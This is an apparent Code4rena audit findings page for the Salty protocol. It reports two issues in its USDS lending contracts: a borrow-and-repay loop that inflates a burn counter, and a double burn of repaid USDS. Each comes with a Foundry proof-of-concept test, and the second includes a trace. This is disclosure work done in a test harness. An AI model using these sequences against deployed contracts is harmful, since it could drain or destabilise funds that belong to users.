Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 145/178
Findings: 1
Award: $16.32
š Selected for report: 0
š Solo Findings: 0
16.3165 USDC - $16.32
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L114-L135 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/USDS.sol#L51-L59
User can call borrow and repay in a loop many times, the liquidizer
contract may become unable to fulfill its intended functionality of burning USDS.
User can inflate the usdsThatShouldBeBurned
variable in the liquidizer contract by repeatedly borrowing and repaying USDS in a loop.
Liquidizer
contract is unable to burn the required amount of USDS due to insufficient liquidity.
Here is the poc code:
function testLoopBorrowRepay() public{ vm.startPrank(alice); uint256 beforeShouldBurn = liquidizer.usdsThatShouldBeBurned(); uint256 wbtcBalance = wbtc.balanceOf(alice); uint256 wethBalance = weth.balanceOf(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(alice), weth.balanceOf(alice), 0, block.timestamp, true ); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); for (uint i=0;i<10;i++){ collateralAndLiquidity.borrowUSDS( maxUSDS ); collateralAndLiquidity.repayUSDS(maxUSDS); deal(address(wbtc), alice, wbtcBalance); deal(address(weth), alice, wethBalance); } uint256 shouldBurn = liquidizer.usdsThatShouldBeBurned(); assertEq( shouldBurn, beforeShouldBurn+maxUSDS*10 ); assertEq(collateralAndLiquidity.usdsBorrowedByUsers(alice),0); }
Manual
implement restrictions on the frequency or conditions under which borrow and repay actions can be executed in quick succession.
Other
#0 - c4-judge
2024-02-02T15:50:14Z
Picodes marked the issue as duplicate of #240
#1 - c4-judge
2024-02-17T19:03:51Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:50:34Z
Picodes marked the issue as duplicate of #137
16.3165 USDC - $16.32
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/USDS.sol#L51-L59 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L114-L135
The vulnerability is a potential double-burning of USDS tokens due to the interaction between the repayUSDS
function and the external burnTokensInContract
function in the USDS contract.
The repaid amount of usds tokens will be burned twice.
Here is the poc code:
function testRepayAndBurn() public{ uint256 beforeShouldBurn = liquidizer.usdsThatShouldBeBurned(); _depositCollateralAndBorrowMax(alice); vm.prank(alice); collateralAndLiquidity.repayUSDS(1 ether); assertEq( collateralAndLiquidity.maxBorrowableUSDS(alice), 1 ether ); uint256 beforeSupply = usds.totalSupply(); usds.burnTokensInContract(); uint256 afterSupply = usds.totalSupply(); uint256 afterShouldBurn = liquidizer.usdsThatShouldBeBurned(); assertEq(beforeSupply-afterSupply, 1 ether); assertEq(afterShouldBurn-beforeShouldBurn, 1 ether); deal(address(usds), address(liquidizer), 1 ether); upkeep.performUpkeep(); uint256 lastSupply = usds.totalSupply(); assertEq(afterSupply-lastSupply, 1 ether); }
And here is the poc result:
āā [327] USDS::totalSupply() [staticcall] ā āā ā 240561875000000000000000000 [2.405e26] āā [3120] USDS::burnTokensInContract() ā āā emit Transfer(from: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18]) ā āā emit USDSTokensBurned(amount: 1000000000000000000 [1e18]) ā āā ā () āā [327] USDS::totalSupply() [staticcall] ā āā ā 240561874000000000000000000 [2.405e26] āā [363] Liquidizer::usdsThatShouldBeBurned() [staticcall] ā āā ā 1000000000000000000 [1e18] āā [2555] USDS::balanceOf(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) ā āā ā 0 ā ā ā āā [555] USDS::balanceOf(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall] ā ā ā ā āā ā 1000000000000000000 [1e18] ā ā ā āā [18343] USDS::transfer(USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], 1000000000000000000 [1e18]) ā ā ā ā āā emit Transfer(from: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], value: 1000000000000000000 [1e18]) ā ā ā ā āā ā true ā ā ā āā [3120] USDS::burnTokensInContract() ā ā ā ā āā emit Transfer(from: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18]) ā ā ā ā āā emit USDSTokensBurned(amount: 1000000000000000000 [1e18]) ā ā ā ā āā ā () ā ā ā āā ā ()
Manual
The usds tokens should send to liquidizer contract.
Other
#0 - c4-judge
2024-02-02T15:49:02Z
Picodes marked the issue as duplicate of #618
#1 - c4-judge
2024-02-17T18:39:23Z
Picodes marked the issue as satisfactory